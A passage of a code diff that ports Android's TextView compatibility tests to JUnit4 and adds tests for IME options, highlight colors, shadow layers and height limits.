+import static org.junit.Assert.assertSame;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+import static org.mockito.Matchers.any;
+import static org.mockito.Matchers.anyInt;
+import static org.mockito.Matchers.eq;
+import static org.mockito.Matchers.refEq;
+import static org.mockito.Mockito.doAnswer;
+import static org.mockito.Mockito.doCallRealMethod;
+import static org.mockito.Mockito.doNothing;
+import static org.mockito.Mockito.mock;
+import static org.mockito.Mockito.never;
+import static org.mockito.Mockito.reset;
+import static org.mockito.Mockito.spy;
+import static org.mockito.Mockito.times;
+import static org.mockito.Mockito.verify;
+import static org.mockito.Mockito.verifyNoMoreInteractions;
+import static org.mockito.Mockito.verifyZeroInteractions;
+import static org.mockito.Mockito.when;
+
+import static java.lang.annotation.RetentionPolicy.SOURCE;
+
+import android.annotation.IntDef;
+import android.annotation.Nullable;
 import android.app.Activity;
 import android.app.Instrumentation;
 import android.app.Instrumentation.ActivityMonitor;
+import android.content.Context;
 import android.content.Intent;
 import android.content.pm.PackageManager;
 import android.content.res.ColorStateList;
+import android.content.res.Configuration;
+import android.content.res.Resources;
 import android.content.res.Resources.NotFoundException;
-import android.cts.util.KeyEventUtil;
-import android.cts.util.PollingCheck;
-import android.cts.util.WidgetTestUtils;
-import android.graphics.Bitmap;
 import android.graphics.Color;
 import android.graphics.Paint;
 import android.graphics.Path;
+import android.graphics.Point;
 import android.graphics.PorterDuff;
 import android.graphics.Rect;
 import android.graphics.RectF;
@@ -37,15 +67,21 @@
 import android.graphics.drawable.BitmapDrawable;
 import android.graphics.drawable.ColorDrawable;
 import android.graphics.drawable.Drawable;
+import android.icu.lang.UCharacter;
 import android.net.Uri;
 import android.os.Bundle;
+import android.os.Handler;
 import android.os.LocaleList;
+import android.os.Looper;
 import android.os.Parcelable;
-import android.test.ActivityInstrumentationTestCase2;
-import android.test.TouchUtils;
-import android.test.UiThreadTest;
-import android.test.suitebuilder.annotation.MediumTest;
-import android.test.suitebuilder.annotation.SmallTest;
+import android.os.ResultReceiver;
+import android.os.SystemClock;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.annotation.UiThreadTest;
+import android.support.test.filters.MediumTest;
+import android.support.test.filters.SmallTest;
+import android.support.test.rule.ActivityTestRule;
+import android.support.test.runner.AndroidJUnit4;
 import android.text.Editable;
 import android.text.InputFilter;
 import android.text.InputType;
@@ -73,101 +109,146 @@
 import android.text.method.TextKeyListener.Capitalize;
 import android.text.method.TimeKeyListener;
 import android.text.method.TransformationMethod;
+import android.text.style.ClickableSpan;
 import android.text.style.ImageSpan;
 import android.text.style.URLSpan;
 import android.text.style.UnderlineSpan;
 import android.text.util.Linkify;
+import android.util.AttributeSet;
 import android.util.DisplayMetrics;
+import android.util.SparseArray;
 import android.util.TypedValue;
 import android.view.ActionMode;
 import android.view.ContextMenu;
-import android.view.ContextMenu.ContextMenuInfo;
 import android.view.Gravity;
+import android.view.InputDevice;
 import android.view.KeyEvent;
+import android.view.LayoutInflater;
 import android.view.Menu;
-import android.view.MenuItem;
+import android.view.MotionEvent;
+import android.view.PointerIcon;
 import android.view.View;
-import android.view.View.OnCreateContextMenuListener;
-import android.view.View.OnLongClickListener;
+import android.view.ViewConfiguration;
 import android.view.ViewGroup;
+import android.view.ViewGroup.LayoutParams;
 import android.view.accessibility.AccessibilityNodeInfo;
 import android.view.inputmethod.BaseInputConnection;
+import android.view.inputmethod.CompletionInfo;
+import android.view.inputmethod.CorrectionInfo;
 import android.view.inputmethod.EditorInfo;
 import android.view.inputmethod.ExtractedText;
 import android.view.inputmethod.ExtractedTextRequest;
 import android.view.inputmethod.InputConnection;
+import android.view.inputmethod.InputMethodManager;
+import android.view.textclassifier.TextClassification;
+import android.view.textclassifier.TextClassifier;
+import android.view.textclassifier.TextSelection;
 import android.widget.EditText;
 import android.widget.FrameLayout;
 import android.widget.LinearLayout;
 import android.widget.Scroller;
 import android.widget.TextView;
 import android.widget.TextView.BufferType;
-import android.widget.TextView.OnEditorActionListener;
+import android.widget.cts.util.TestUtils;
 
+import com.android.compatibility.common.util.CtsKeyEventUtil;
+import com.android.compatibility.common.util.CtsTouchUtils;
+import com.android.compatibility.common.util.PollingCheck;
+import com.android.compatibility.common.util.WidgetTestUtils;
+
+import org.junit.Before;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.mockito.invocation.InvocationOnMock;
 import org.xmlpull.v1.XmlPullParserException;
 
 import java.io.IOException;
+import java.lang.annotation.Retention;
+import java.util.Arrays;
 import java.util.Locale;
 
 /**
  * Test {@link TextView}.
  */
-public class TextViewTest extends ActivityInstrumentationTestCase2<TextViewCtsActivity> {
-
-    private TextView mTextView;
-    private Activity mActivity;
+@MediumTest
+@RunWith(AndroidJUnit4.class)
+public class TextViewTest {
     private Instrumentation mInstrumentation;
+    private Activity mActivity;
+    private TextView mTextView;
+    private TextView mSecondTextView;
+
     private static final String LONG_TEXT = "This is a really long string which exceeds "
             + "the width of the view. New devices have a much larger screen which "
             + "actually enables long strings to be displayed with no fading. "
             + "I have made this string longer to fix this case. If you are correcting "
             + "this text, I would love to see the kind of devices you guys now use!";
     private static final long TIMEOUT = 5000;
+
+    private static final int SMARTSELECT_START = 0;
+    private static final int SMARTSELECT_END = 40;
+    private static final int CLICK_TIMEOUT = ViewConfiguration.getDoubleTapTimeout() + 50;
+
     private CharSequence mTransformedText;
-    private KeyEventUtil mKeyEventUtil;
+    private Handler mHandler = new Handler(Looper.getMainLooper());
 
-    public TextViewTest() {
-        super("android.widget.cts", TextViewCtsActivity.class);
-    }
+    @Rule
+    public ActivityTestRule<TextViewCtsActivity> mActivityRule =
+            new ActivityTestRule<>(TextViewCtsActivity.class);
 
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-        mActivity = getActivity();
-        new PollingCheck() {
-            @Override
-                protected boolean check() {
-                return mActivity.hasWindowFocus();
-            }
-        }.run();
-        mInstrumentation = getInstrumentation();
-        mKeyEventUtil = new KeyEventUtil(mInstrumentation);
+    @Before
+    public void setup() {
+        mInstrumentation = InstrumentationRegistry.getInstrumentation();
+        mActivity = mActivityRule.getActivity();
+        PollingCheck.waitFor(mActivity::hasWindowFocus);
     }
 
     /**
-     * Promotes the TextView to editable and places focus in it to allow simulated typing.
+     * Promotes the TextView to editable and places focus in it to allow simulated typing. Used in
+     * test methods annotated with {@link UiThreadTest}.
      */
     private void initTextViewForTyping() {
-        mActivity.runOnUiThread(new Runnable() {
-            public void run() {
-                mTextView = findTextView(R.id.textview_text);
-                mTextView.setKeyListener(QwertyKeyListener.getInstance(false, Capitalize.NONE));
-                mTextView.setText("", BufferType.EDITABLE);
-                mTextView.requestFocus();
-            }
-        });
+        mTextView = findTextView(R.id.textview_text);
+        mTextView.setKeyListener(QwertyKeyListener.getInstance(false, Capitalize.NONE));
+        mTextView.setText("", BufferType.EDITABLE);
+        mTextView.requestFocus();
+        // Disable smart selection
+        mTextView.setTextClassifier(TextClassifier.NO_OP);
+    }
+
+    /**
+     * Used in test methods that can not entirely be run on the UiThread (e.g: tests that need to
+     * emulate touches and/or key presses).
+     */
+    private void initTextViewForTypingOnUiThread() throws Throwable {
+        mActivityRule.runOnUiThread(this::initTextViewForTyping);
         mInstrumentation.waitForIdleSync();
     }
 
-    public void testConstructor() {
+    @UiThreadTest
+    @Test
+    public void testConstructorOnUiThread() {
+        verifyConstructor();
+    }
+
+    @Test
+    public void testConstructorOffUiThread() {
+        verifyConstructor();
+    }
+
+    private void verifyConstructor() {
         new TextView(mActivity);
-
         new TextView(mActivity, null);
-
-        new TextView(mActivity, null, 0);
+        new TextView(mActivity, null, android.R.attr.textViewStyle);
+        new TextView(mActivity, null, 0, android.R.style.Widget_DeviceDefault_TextView);
+        new TextView(mActivity, null, 0, android.R.style.Widget_DeviceDefault_Light_TextView);
+        new TextView(mActivity, null, 0, android.R.style.Widget_Material_TextView);
+        new TextView(mActivity, null, 0, android.R.style.Widget_Material_Light_TextView);
     }
 
     @UiThreadTest
+    @Test
     public void testAccessText() {
         TextView tv = findTextView(R.id.textview_text);
 
@@ -179,6 +260,8 @@
         assertEquals("", tv.getText().toString());
     }
 
+    @UiThreadTest
+    @Test
     public void testGetLineHeight() {
         mTextView = new TextView(mActivity);
         assertTrue(mTextView.getLineHeight() > 0);
@@ -187,12 +270,11 @@
         assertTrue(mTextView.getLineHeight() > 0);
     }
 
-    public void testGetLayout() {
-        mActivity.runOnUiThread(new Runnable() {
-            public void run() {
-                mTextView = findTextView(R.id.textview_text);
-                mTextView.setGravity(Gravity.CENTER);
-            }
+    @Test
+    public void testGetLayout() throws Throwable {
+        mActivityRule.runOnUiThread(() -> {
+            mTextView = findTextView(R.id.textview_text);
+            mTextView.setGravity(Gravity.CENTER);
         });
         mInstrumentation.waitForIdleSync();
         assertNotNull(mTextView.getLayout());
@@ -204,44 +286,34 @@
                 saveLayout();
             }
         };
-        mActivity.runOnUiThread(runnable);
+        mActivityRule.runOnUiThread(runnable);
         mInstrumentation.waitForIdleSync();
         assertNull(runnable.getLayout());
         assertNotNull(mTextView.getLayout());
     }
 
-    public void testAccessKeyListener() {
-        mActivity.runOnUiThread(new Runnable() {
-            public void run() {
-                mTextView = findTextView(R.id.textview_text);
-            }
-        });
+    @Test
+    public void testAccessKeyListener() throws Throwable {
+        mActivityRule.runOnUiThread(() -> mTextView = findTextView(R.id.textview_text));
         mInstrumentation.waitForIdleSync();
 
         assertNull(mTextView.getKeyListener());
 
         final KeyListener digitsKeyListener = DigitsKeyListener.getInstance();
 
-        mActivity.runOnUiThread(new Runnable() {
-            public void run() {
-                mTextView.setKeyListener(digitsKeyListener);
-            }
-        });
+        mActivityRule.runOnUiThread(() -> mTextView.setKeyListener(digitsKeyListener));
         mInstrumentation.waitForIdleSync();
         assertSame(digitsKeyListener, mTextView.getKeyListener());
 
         final QwertyKeyListener qwertyKeyListener
                 = QwertyKeyListener.getInstance(false, Capitalize.NONE);
-        mActivity.runOnUiThread(new Runnable() {
-            public void run() {
-                mTextView.setKeyListener(qwertyKeyListener);
-            }
-        });
+        mActivityRule.runOnUiThread(() -> mTextView.setKeyListener(qwertyKeyListener));
         mInstrumentation.waitForIdleSync();
         assertSame(qwertyKeyListener, mTextView.getKeyListener());
     }
 
-    public void testAccessMovementMethod() {
+    @Test
+    public void testAccessMovementMethod() throws Throwable {
         final CharSequence LONG_TEXT = "Scrolls the specified widget to the specified "
                 + "coordinates, except constrains the X scrolling position to the horizontal "
                 + "regions of the text that will be visible after scrolling to "
@@ -249,48 +321,45 @@
         final int selectionStart = 10;
         final int selectionEnd = LONG_TEXT.length();
         final MovementMethod movementMethod = ArrowKeyMovementMethod.getInstance();
-        mActivity.runOnUiThread(new Runnable() {
-            public void run() {
-                mTextView = findTextView(R.id.textview_text);
-                mTextView.setMovementMethod(movementMethod);
-                mTextView.setText(LONG_TEXT, BufferType.EDITABLE);
-                Selection.setSelection((Editable) mTextView.getText(),
-                        selectionStart, selectionEnd);
-                mTextView.requestFocus();
-            }
+        mActivityRule.runOnUiThread(() -> {
+            mTextView = findTextView(R.id.textview_text);
+            mTextView.setMovementMethod(movementMethod);
+            mTextView.setText(LONG_TEXT, BufferType.EDITABLE);
+            Selection.setSelection((Editable) mTextView.getText(),
+                    selectionStart, selectionEnd);
+            mTextView.requestFocus();
         });
         mInstrumentation.waitForIdleSync();
 
         assertSame(movementMethod, mTextView.getMovementMethod());
         assertEquals(selectionStart, Selection.getSelectionStart(mTextView.getText()));
         assertEquals(selectionEnd, Selection.getSelectionEnd(mTextView.getText()));
-        mKeyEventUtil.sendKeys(mTextView, KeyEvent.KEYCODE_SHIFT_LEFT, KeyEvent.KEYCODE_ALT_LEFT,
-                KeyEvent.KEYCODE_DPAD_UP);
+        CtsKeyEventUtil.sendKeys(mInstrumentation, mTextView, KeyEvent.KEYCODE_SHIFT_LEFT,
+                KeyEvent.KEYCODE_ALT_LEFT, KeyEvent.KEYCODE_DPAD_UP);
         // the selection has been removed.
         assertEquals(selectionStart, Selection.getSelectionStart(mTextView.getText()));
         assertEquals(selectionStart, Selection.getSelectionEnd(mTextView.getText()));
 
-        mActivity.runOnUiThread(new Runnable() {
-            public void run() {
-                mTextView.setMovementMethod(null);
-                Selection.setSelection((Editable) mTextView.getText(),
-                        selectionStart, selectionEnd);
-                mTextView.requestFocus();
-            }
+        mActivityRule.runOnUiThread(() -> {
+            mTextView.setMovementMethod(null);
+            Selection.setSelection((Editable) mTextView.getText(),
+                    selectionStart, selectionEnd);
+            mTextView.requestFocus();
         });
         mInstrumentation.waitForIdleSync();
 
         assertNull(mTextView.getMovementMethod());
         assertEquals(selectionStart, Selection.getSelectionStart(mTextView.getText()));
         assertEquals(selectionEnd, Selection.getSelectionEnd(mTextView.getText()));
-        mKeyEventUtil.sendKeys(mTextView, KeyEvent.KEYCODE_SHIFT_LEFT, KeyEvent.KEYCODE_ALT_LEFT,
-                KeyEvent.KEYCODE_DPAD_UP);
+        CtsKeyEventUtil.sendKeys(mInstrumentation, mTextView, KeyEvent.KEYCODE_SHIFT_LEFT,
+                KeyEvent.KEYCODE_ALT_LEFT, KeyEvent.KEYCODE_DPAD_UP);
         // the selection will not be changed.
         assertEquals(selectionStart, Selection.getSelectionStart(mTextView.getText()));
         assertEquals(selectionEnd, Selection.getSelectionEnd(mTextView.getText()));
     }
 
     @UiThreadTest
+    @Test
     public void testLength() {
         mTextView = findTextView(R.id.textview_text);
 
@@ -306,6 +375,7 @@
     }
 
     @UiThreadTest
+    @Test
     public void testAccessGravity() {
         mActivity.setContentView(R.layout.textview_gravity);
 
@@ -348,15 +418,116 @@
         assertEquals(-1, mTextView.getGravity());
     }
 
-    public void testAccessAutoLinkMask() {
+    @Retention(SOURCE)
+    @IntDef({EditorInfo.IME_ACTION_UNSPECIFIED, EditorInfo.IME_ACTION_NONE,
+            EditorInfo.IME_ACTION_GO, EditorInfo.IME_ACTION_SEARCH, EditorInfo.IME_ACTION_SEND,
+            EditorInfo.IME_ACTION_NEXT, EditorInfo.IME_ACTION_DONE, EditorInfo.IME_ACTION_PREVIOUS})
+    private @interface ImeOptionAction {}
+
+    @Retention(SOURCE)
+    @IntDef(flag = true,
+            value = {EditorInfo.IME_FLAG_NO_PERSONALIZED_LEARNING,
+                    EditorInfo.IME_FLAG_NO_FULLSCREEN, EditorInfo.IME_FLAG_NAVIGATE_PREVIOUS,
+                    EditorInfo.IME_FLAG_NAVIGATE_NEXT, EditorInfo.IME_FLAG_NO_EXTRACT_UI,
+                    EditorInfo.IME_FLAG_NO_ACCESSORY_ACTION, EditorInfo.IME_FLAG_NO_ENTER_ACTION,
+                    EditorInfo.IME_FLAG_FORCE_ASCII})
+    private @interface ImeOptionFlags {}
+
+    private static void assertImeOptions(TextView textView,
+            @ImeOptionAction int expectedImeOptionAction,
+            @ImeOptionFlags int expectedImeOptionFlags) {
+        final int actualAction = textView.getImeOptions() & EditorInfo.IME_MASK_ACTION;
+        final int actualFlags = textView.getImeOptions() & ~EditorInfo.IME_MASK_ACTION;
+        assertEquals(expectedImeOptionAction, actualAction);
+        assertEquals(expectedImeOptionFlags, actualFlags);
+    }
+
+    @UiThreadTest
+    @Test
+    public void testImeOptions() {
+        mActivity.setContentView(R.layout.textview_imeoptions);
+
+        // Test "normal" to be a synonym EditorInfo.IME_NULL
+        assertEquals(EditorInfo.IME_NULL,
+                mActivity.<TextView>findViewById(R.id.textview_imeoption_normal).getImeOptions());
+
+        // Test EditorInfo.IME_ACTION_*
+        assertImeOptions(
+                mActivity.findViewById(R.id.textview_imeoption_action_unspecified),
+                EditorInfo.IME_ACTION_UNSPECIFIED, 0);
+        assertImeOptions(
+                mActivity.findViewById(R.id.textview_imeoption_action_none),
+                EditorInfo.IME_ACTION_NONE, 0);
+        assertImeOptions(
+                mActivity.findViewById(R.id.textview_imeoption_action_go),
+                EditorInfo.IME_ACTION_GO, 0);
+        assertImeOptions(
+                mActivity.findViewById(R.id.textview_imeoption_action_search),
+                EditorInfo.IME_ACTION_SEARCH, 0);
+        assertImeOptions(
+                mActivity.findViewById(R.id.textview_imeoption_action_send),
+                EditorInfo.IME_ACTION_SEND, 0);
+        assertImeOptions(
+                mActivity.findViewById(R.id.textview_imeoption_action_next),
+                EditorInfo.IME_ACTION_NEXT, 0);
+        assertImeOptions(
+                mActivity.findViewById(R.id.textview_imeoption_action_done),
+                EditorInfo.IME_ACTION_DONE, 0);
+        assertImeOptions(
+                mActivity.findViewById(R.id.textview_imeoption_action_previous),
+                EditorInfo.IME_ACTION_PREVIOUS, 0);
+
+        // Test EditorInfo.IME_FLAG_*
+        assertImeOptions(
+                mActivity.findViewById(R.id.textview_imeoption_no_personalized_learning),
+                EditorInfo.IME_ACTION_UNSPECIFIED,
+                EditorInfo.IME_FLAG_NO_PERSONALIZED_LEARNING);
+        assertImeOptions(
+                mActivity.findViewById(R.id.textview_imeoption_no_fullscreen),
+                EditorInfo.IME_ACTION_UNSPECIFIED,
+                EditorInfo.IME_FLAG_NO_FULLSCREEN);
+        assertImeOptions(
+                mActivity.findViewById(R.id.textview_imeoption_navigation_previous),
+                EditorInfo.IME_ACTION_UNSPECIFIED,
+                EditorInfo.IME_FLAG_NAVIGATE_PREVIOUS);
+        assertImeOptions(
+                mActivity.findViewById(R.id.textview_imeoption_navigation_next),
+                EditorInfo.IME_ACTION_UNSPECIFIED,
+                EditorInfo.IME_FLAG_NAVIGATE_NEXT);
+        assertImeOptions(
+                mActivity.findViewById(R.id.textview_imeoption_no_extract_ui),
+                EditorInfo.IME_ACTION_UNSPECIFIED,
+                EditorInfo.IME_FLAG_NO_EXTRACT_UI);
+        assertImeOptions(
+                mActivity.findViewById(R.id.textview_imeoption_no_accessory_action),
+                EditorInfo.IME_ACTION_UNSPECIFIED,
+                EditorInfo.IME_FLAG_NO_ACCESSORY_ACTION);
+        assertImeOptions(
+                mActivity.findViewById(R.id.textview_imeoption_no_enter_action),
+                EditorInfo.IME_ACTION_UNSPECIFIED,
+                EditorInfo.IME_FLAG_NO_ENTER_ACTION);
+        assertImeOptions(
+                mActivity.findViewById(R.id.textview_imeoption_force_ascii),
+                EditorInfo.IME_ACTION_UNSPECIFIED,
+                EditorInfo.IME_FLAG_FORCE_ASCII);
+
+        // test action + multiple flags
+        assertImeOptions(
+                mActivity.findViewById(
+                        R.id.textview_imeoption_action_go_nagivate_next_no_extract_ui_force_ascii),
+                EditorInfo.IME_ACTION_GO,
+                EditorInfo.IME_FLAG_NAVIGATE_NEXT | EditorInfo.IME_FLAG_NO_EXTRACT_UI
+                        | EditorInfo.IME_FLAG_FORCE_ASCII);
+    }
+
+    @Test
+    public void testAccessAutoLinkMask() throws Throwable {
         mTextView = findTextView(R.id.textview_text);
         final CharSequence text1 =
                 new SpannableString("URL: http://www.google.com. mailto: account@gmail.com");
-        mActivity.runOnUiThread(new Runnable() {
-            public void run() {
-                mTextView.setAutoLinkMask(Linkify.ALL);
-                mTextView.setText(text1, BufferType.EDITABLE);
-            }
+        mActivityRule.runOnUiThread(() -> {
+            mTextView.setAutoLinkMask(Linkify.ALL);
+            mTextView.setText(text1, BufferType.EDITABLE);
         });
         mInstrumentation.waitForIdleSync();
         assertEquals(Linkify.ALL, mTextView.getAutoLinkMask());
@@ -370,11 +541,9 @@
 
         final CharSequence text2 =
             new SpannableString("name: Jack. tel: +41 44 800 8999");
-        mActivity.runOnUiThread(new Runnable() {
-            public void run() {
-                mTextView.setAutoLinkMask(Linkify.PHONE_NUMBERS);
-                mTextView.setText(text2, BufferType.EDITABLE);
-            }
+        mActivityRule.runOnUiThread(() -> {
+            mTextView.setAutoLinkMask(Linkify.PHONE_NUMBERS);
+            mTextView.setText(text2, BufferType.EDITABLE);
         });
         mInstrumentation.waitForIdleSync();
         assertEquals(Linkify.PHONE_NUMBERS, mTextView.getAutoLinkMask());
@@ -402,6 +571,8 @@
                 getAutoLinkMask(R.id.autolink_compound4));
     }
 
+    @UiThreadTest
+    @Test
     public void testAccessTextSize() {
         DisplayMetrics metrics = mActivity.getResources().getDisplayMetrics();
 
@@ -428,6 +599,8 @@
                 mTextView.getTextSize(), 0.01f);
     }
 
+    @UiThreadTest
+    @Test
     public void testAccessTextColor() {
         mTextView = new TextView(mActivity);
 
@@ -460,6 +633,7 @@
         }
     }
 
+    @Test
     public void testGetTextColor() {
         // TODO: How to get a suitable TypedArray to test this method.
 
@@ -470,41 +644,84 @@
         }
     }
 
-    public void testSetHighlightColor() {
-        mTextView = new TextView(mActivity);
+    @Test
+    public void testAccessHighlightColor() throws Throwable {
+        final TextView textView = (TextView) mActivity.findViewById(R.id.textview_text);
 
-        mTextView.setHighlightColor(0x00ff00ff);
-    }
+        mActivityRule.runOnUiThread(() -> {
+            textView.setTextIsSelectable(true);
+            textView.setText("abcd", BufferType.EDITABLE);
+            textView.setHighlightColor(Color.BLUE);
+        });
+        mInstrumentation.waitForIdleSync();
 
-    public void testSetShadowLayer() {
-        MockTextView textView = new MockTextView(mActivity);
+        assertTrue(textView.isTextSelectable());
+        assertEquals(Color.BLUE, textView.getHighlightColor());
 
-        // shadow is placed to the left and below the text
-        textView.setShadowLayer(1.0f, 0.3f, 0.3f, Color.CYAN);
-        assertTrue(textView.isPaddingOffsetRequired());
-        assertEquals(0, textView.getLeftPaddingOffset());
-        assertEquals(0, textView.getTopPaddingOffset());
-        assertEquals(1, textView.getRightPaddingOffset());
-        assertEquals(1, textView.getBottomPaddingOffset());
+        // Long click on the text selects all text and shows selection handlers. The view has an
+        // attribute layout_width="wrap_content", so clicked location (the center of the view)
+        // should be on the text.
+        CtsTouchUtils.emulateLongPressOnViewCenter(mInstrumentation, textView);
 
-        // shadow is placed to the right and above the text
-        textView.setShadowLayer(1.0f, -0.8f, -0.8f, Color.CYAN);
-        assertTrue(textView.isPaddingOffsetRequired());
-        assertEquals(-1, textView.getLeftPaddingOffset());
-        assertEquals(-1, textView.getTopPaddingOffset());
-        assertEquals(0, textView.getRightPaddingOffset());
-        assertEquals(0, textView.getBottomPaddingOffset());
+        // At this point the entire content of our TextView should be selected and highlighted
+        // with blue. Now change the highlight to red while the selection is still on.
+        mActivityRule.runOnUiThread(() -> textView.setHighlightColor(Color.RED));
+        mInstrumentation.waitForIdleSync();
 
-        // no shadow
-        textView.setShadowLayer(0.0f, 0.0f, 0.0f, Color.CYAN);
-        assertFalse(textView.isPaddingOffsetRequired());
-        assertEquals(0, textView.getLeftPaddingOffset());
-        assertEquals(0, textView.getTopPaddingOffset());
-        assertEquals(0, textView.getRightPaddingOffset());
-        assertEquals(0, textView.getBottomPaddingOffset());
+        assertEquals(Color.RED, textView.getHighlightColor());
+        assertTrue(TextUtils.equals("abcd", textView.getText()));
+
+        // Remove the selection
+        mActivityRule.runOnUiThread(() -> Selection.removeSelection((Spannable) textView.getText()));
+        mInstrumentation.waitForIdleSync();
+
+        // And switch highlight to green after the selection has been removed
+        mActivityRule.runOnUiThread(() -> textView.setHighlightColor(Color.GREEN));
+        mInstrumentation.waitForIdleSync();
+
+        assertEquals(Color.GREEN, textView.getHighlightColor());
+        assertTrue(TextUtils.equals("abcd", textView.getText()));
     }
 
     @UiThreadTest
+    @Test
+    public void testSetShadowLayer() {
+        // test values
+        final MockTextView mockTextView = new MockTextView(mActivity);
+
+        mockTextView.setShadowLayer(1.0f, 0.3f, 0.4f, Color.CYAN);
+        assertEquals(Color.CYAN, mockTextView.getShadowColor());
+        assertEquals(0.3f, mockTextView.getShadowDx(), 0.0f);
+        assertEquals(0.4f, mockTextView.getShadowDy(), 0.0f);
+        assertEquals(1.0f, mockTextView.getShadowRadius(), 0.0f);
+
+        // shadow is placed to the left and below the text
+        mockTextView.setShadowLayer(1.0f, 0.3f, 0.3f, Color.CYAN);
+        assertTrue(mockTextView.isPaddingOffsetRequired());
+        assertEquals(0, mockTextView.getLeftPaddingOffset());
+        assertEquals(0, mockTextView.getTopPaddingOffset());
+        assertEquals(1, mockTextView.getRightPaddingOffset());
+        assertEquals(1, mockTextView.getBottomPaddingOffset());
+
+        // shadow is placed to the right and above the text
+        mockTextView.setShadowLayer(1.0f, -0.8f, -0.8f, Color.CYAN);
+        assertTrue(mockTextView.isPaddingOffsetRequired());
+        assertEquals(-1, mockTextView.getLeftPaddingOffset());
+        assertEquals(-1, mockTextView.getTopPaddingOffset());
+        assertEquals(0, mockTextView.getRightPaddingOffset());
+        assertEquals(0, mockTextView.getBottomPaddingOffset());
+
+        // no shadow
+        mockTextView.setShadowLayer(0.0f, 0.0f, 0.0f, Color.CYAN);
+        assertFalse(mockTextView.isPaddingOffsetRequired());
+        assertEquals(0, mockTextView.getLeftPaddingOffset());
+        assertEquals(0, mockTextView.getTopPaddingOffset());
+        assertEquals(0, mockTextView.getRightPaddingOffset());
+        assertEquals(0, mockTextView.getBottomPaddingOffset());
+    }
+
+    @UiThreadTest
+    @Test
     public void testSetSelectAllOnFocus() {
         mActivity.setContentView(R.layout.textview_selectallonfocus);
         String content = "This is the content";
@@ -565,6 +782,8 @@
         assertEquals(0, mTextView.getSelectionEnd());
     }
 
+    @UiThreadTest
+    @Test
     public void testGetPaint() {
         mTextView = new TextView(mActivity);
         TextPaint tp = mTextView.getPaint();
@@ -574,6 +793,7 @@
     }
 
     @UiThreadTest
+    @Test
     public void testAccessLinksClickable() {
         mActivity.setContentView(R.layout.textview_hint_linksclickable_freezestext);
 
@@ -603,6 +823,8 @@
         assertTrue(mTextView.getMovementMethod() instanceof LinkMovementMethod);
     }
 
+    @UiThreadTest
+    @Test
     public void testAccessHintTextColor() {
         mTextView = new TextView(mActivity);
         // using int values
@@ -634,6 +856,8 @@
         assertEquals(mTextView.getCurrentTextColor(), mTextView.getCurrentHintTextColor());
     }
 
+    @UiThreadTest
+    @Test
     public void testAccessLinkTextColor() {
         mTextView = new TextView(mActivity);
         // normal
@@ -661,6 +885,8 @@
         assertEquals(Color.BLACK, mTextView.getPaint().linkColor);
     }
 
+    @UiThreadTest
+    @Test
     public void testAccessPaintFlags() {
         mTextView = new TextView(mActivity);
         assertEquals(Paint.DEV_KERN_TEXT_FLAG | Paint.EMBEDDED_BITMAP_TEXT_FLAG
@@ -675,118 +901,205 @@
                 mTextView.getPaintFlags());
     }
 
-    public void testHeightAndWidth() {
+    @Test
+    public void testHeight() throws Throwable {
         mTextView = findTextView(R.id.textview_text);
-        int originalWidth = mTextView.getWidth();
-        setWidth(mTextView.getWidth() >> 3);
-        int originalHeight = mTextView.getHeight();
+        final int originalHeight = mTextView.getHeight();
 
-        setMaxHeight(originalHeight + 1);
+        // test setMaxHeight
+        int newHeight = originalHeight + 1;
+        setMaxHeight(newHeight);
         assertEquals(originalHeight, mTextView.getHeight());
+        assertEquals(newHeight, mTextView.getMaxHeight());
 
-        setMaxHeight(originalHeight - 1);
-        assertEquals(originalHeight - 1, mTextView.getHeight());
+        newHeight = originalHeight - 1;
+        setMaxHeight(newHeight);
+        assertEquals(newHeight, mTextView.getHeight());
+        assertEquals(newHeight, mTextView.getMaxHeight());
 
-        setMaxHeight(-1);
+        newHeight = -1;
+        setMaxHeight(newHeight);
         assertEquals(0, mTextView.getHeight());
+        assertEquals(newHeight, mTextView.getMaxHeight());
 
-        setMaxHeight(Integer.MAX_VALUE);
+        newHeight = Integer.MAX_VALUE;
+        setMaxHeight(newHeight);
         assertEquals(originalHeight, mTextView.getHeight());
+        assertEquals(newHeight, mTextView.getMaxHeight());
 
-        setMinHeight(originalHeight + 1);
-        assertEquals(originalHeight + 1, mTextView.getHeight());
+        // test setMinHeight
+        newHeight = originalHeight + 1;
+        setMinHeight(newHeight);
+        assertEquals(newHeight, mTextView.getHeight());
+        assertEquals(newHeight, mTextView.getMinHeight());
 
-        setMinHeight(originalHeight - 1);
+        newHeight = originalHeight - 1;
+        setMinHeight(newHeight);
         assertEquals(originalHeight, mTextView.getHeight());
+        assertEquals(newHeight, mTextView.getMinHeight());
 
-        setMinHeight(-1);
+        newHeight = -1;
+        setMinHeight(newHeight);
         assertEquals(originalHeight, mTextView.getHeight());
+        assertEquals(newHeight, mTextView.getMinHeight());
 
+        // reset min and max height
         setMinHeight(0);
         setMaxHeight(Integer.MAX_VALUE);
 
-        setHeight(originalHeight + 1);
-        assertEquals(originalHeight + 1, mTextView.getHeight());
+        // test setHeight
+        newHeight = originalHeight + 1;
+        setHeight(newHeight);
+        assertEquals(newHeight, mTextView.getHeight());
+        assertEquals(newHeight, mTextView.getMaxHeight());
+        assertEquals(newHeight, mTextView.getMinHeight());
 
-        setHeight(originalHeight - 1);
-        assertEquals(originalHeight - 1, mTextView.getHeight());
+        newHeight = originalHeight - 1;
+        setHeight(newHeight);
+        assertEquals(newHeight, mTextView.getHeight());
+        assertEquals(newHeight, mTextView.getMaxHeight());
+        assertEquals(newHeight, mTextView.getMinHeight());
 
-        setHeight(-1);
+        newHeight = -1;
+        setHeight(newHeight);
         assertEquals(0, mTextView.getHeight());
+        assertEquals(newHeight, mTextView.getMaxHeight());
+        assertEquals(newHeight, mTextView.getMinHeight());
 
         setHeight(originalHeight);
         assertEquals(originalHeight, mTextView.getHeight());
+        assertEquals(originalHeight, mTextView.getMaxHeight());
+        assertEquals(originalHeight, mTextView.getMinHeight());
 
-        assertEquals(originalWidth >> 3, mTextView.getWidth());
+        // setting max/min lines should cause getMaxHeight/getMinHeight to return -1
+        setMaxLines(2);
+        assertEquals("Setting maxLines should return -1 fir maxHeight",
+                -1, mTextView.getMaxHeight());
 
-        // Min Width
-        setMinWidth(originalWidth + 1);
-        assertEquals(1, mTextView.getLineCount());
-        assertEquals(originalWidth + 1, mTextView.getWidth());
-
-        setMinWidth(originalWidth - 1);
-        assertEquals(2, mTextView.getLineCount());
